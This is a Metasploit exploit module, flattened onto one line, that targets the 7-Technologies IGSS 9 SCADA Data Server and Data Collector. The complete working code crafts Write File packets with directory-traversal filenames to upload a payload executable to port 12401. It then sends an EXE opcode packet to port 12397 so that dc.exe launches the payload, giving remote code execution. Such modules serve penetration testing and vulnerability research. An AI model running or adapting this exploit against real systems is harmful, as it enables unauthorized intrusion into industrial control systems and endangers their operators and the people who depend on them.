7-Technologies IGSS 9 – Data Server/Collector Packet Handling (Metasploit)
## # $Id: igss9_misc.rb 12779 2011-05-31 14:33:19Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities", 'Description' => %q{ This module exploits multiple vulnerabilities found on IGSS 9's Data Server and Data Collector services. The initial approach is first by transferring our binary with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run that payload with a CreateProcessA() function as a new thread. }, 'License' => MSF_LICENSE, 'Version' => "$Revision$", 'Author' => [ 'Luigi Auriemma', #Initial discovery, poc 'sinn3r', #Metasploit ], 'References' => [ [ 'OSVDB', '72354'], [ 'OSVDB', '72349'], [ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw [ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw ], 'DefaultOptions' => { 'ExitFunction' => "none", }, 'Platform' => 'win', 'Targets' => [ #Service packs do not have any influence on the exploit [ 'Windows XP', {} ], [ 'Windows 7', {} ], [ 'Windows Server 2003 / R2' , {} ], ], 'Privileged' => false, 'DisclosureDate' => "Mar 24 2011")) register_options( [ Opt::RPORT(0, false), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]), ], self.class) end def write_packets(data) pkts = [] #Payload will be in C:\Documents and Settings\All Users\Application Data\7T\ tmp = rand_text_alpha(1) filename = "#{tmp}.exe" data_size = data.length 0.step(data_size, 870) do |s| #Each packet only contains 870 bytes of data chunk = data[s, 870] #Data size of this packet chunk_size = [chunk.length].pack('v') #Flag is set if this is our last chunk #Flag 0x01 will cause the server to close the connection flag = (chunk.length >= 870) ? "\x00" : "\x01" pkt = "\x01\x00\x34\x12" pkt << "\x0D" #Opcode pkt << "\x00"*7 pkt << flag #Flag pkt << "\x00\x00\x00" pkt << "\x02" #Command (Write File) pkt << "\x00\x00\x00" pkt << "../../../../#{filename}" #Filename pkt << "\x00"*73 pkt << "\x3E\x01\x01\x02" pkt << "\x00\x10" pkt << "\x00\x00" pkt << "\x78\x01\x08\x04" pkt << "\x78\x01\x08\x04" pkt << "\x00"*22 pkt << chunk_size #Data size pkt << "\x00\x00" pkt << chunk #Data chunk #Add the total packet size to the header pkt_size = [pkt.length + 2].pack('v') pkt = pkt_size + pkt #Put this packet to the array pkts << pkt end return filename, pkts end def exe_packet(filename) #Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS #We'll just traverse our way back to C:\ as base base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" pkt = "\x00\x01" pkt << "\x00\x00\x00\x00\x00\x00\x00" pkt << "\x01" pkt << "\x00\x00" pkt << "\x0A" pkt << "\x00"*31 pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\"" pkt << "\x00"*143 return pkt end def exploit #Generate payload and our Write packets print_status("Generating payload...") p = generate_payload_exe fname, w_packets = write_packets(p) w_packets_count = w_packets.length.to_s print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)") #Generate our EXE packet e_packet = exe_packet(fname) #Create socket to igssdataserver.exe (12401) connect(true, {'RPORT'=>12401}) #Count how many packets we've sent to track progress counter = 1 #Send Write packets print_status("Sending Write packets...") w_packets.each do |packet| if datastore['VERBOSE'] print_status("Sending packet #{counter.to_s}/#{w_packets_count}") counter += 1 end sock.put(packet) res = sock.get_once() #Wait before we do the next sock.put again end #After the 0x01 flag is set, our connection will be closed by the server. disconnect #Now to port 12397 (nc.exe) connect(true, {'RPORT'=>12397}) print_status("Attempt to execute our payload...") sock.put(e_packet) #We must delay disconnect() for a bit, otherwise dc.exe won't call #kernel32!CreateProcessA select(nil, nil, nil, 1) disconnect end end |